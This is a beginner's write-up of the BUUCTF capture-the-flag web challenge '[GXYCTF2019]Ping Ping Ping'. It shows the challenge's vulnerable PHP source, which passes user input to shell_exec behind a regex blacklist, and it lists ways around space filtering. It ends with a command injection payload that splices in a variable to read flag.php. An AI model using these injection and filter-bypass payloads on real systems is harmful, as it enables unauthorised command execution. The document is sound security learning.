buuctf初学者学习记录--web第12题

[GXYCTF2019]Ping Ping Ping

打开靶场
buuctf初学者学习记录--web第12题
就只有一个提示,直接按照提示进行测试
buuctf初学者学习记录--web第12题
会返回ping ip的结果,联想到另外一道题,里面介绍了管道符的使用
[ACTF2020 新生赛]Exec
尝试直接使用管道符
buuctf初学者学习记录--web第12题
使用ls查看目录下的文件,尝试访问flag.php
buuctf初学者学习记录--web第12题
根据提示,应该是空格被过滤了,需要绕过空格
命令执行漏洞利用及绕过方式总结
常用的绕过方式:

${IFS}
$IFS$1 
<
<>
{cat,flag.php} 		//用逗号实现空格功能
%09		//需要php环境

一一尝试得到payload
使用$IFS$1与其他得到的提示不一样
buuctf初学者学习记录--web第12题
额。。好像没啥用,但是想起来还有一个文件没用, 尝试访问index.php
buuctf初学者学习记录--web第12题
查看源代码:

/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

也就是说,使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示
这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令
ps:这里的ping -c 4就是发送4条请求
buuctf初学者学习记录--web第12题
参考大佬们的wp
尝试利用a进行变量覆盖绕过flag过滤
构造payload:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

buuctf初学者学习记录--web第12题
得到flag
还有很多其他解法,参考这位佬的博客,他进行了详细的总结,受益匪浅:
有关[GXYCTF2019]Ping Ping Ping 做题总结

上一篇:数据库


下一篇:网络故障排查简单思路(思路见目录)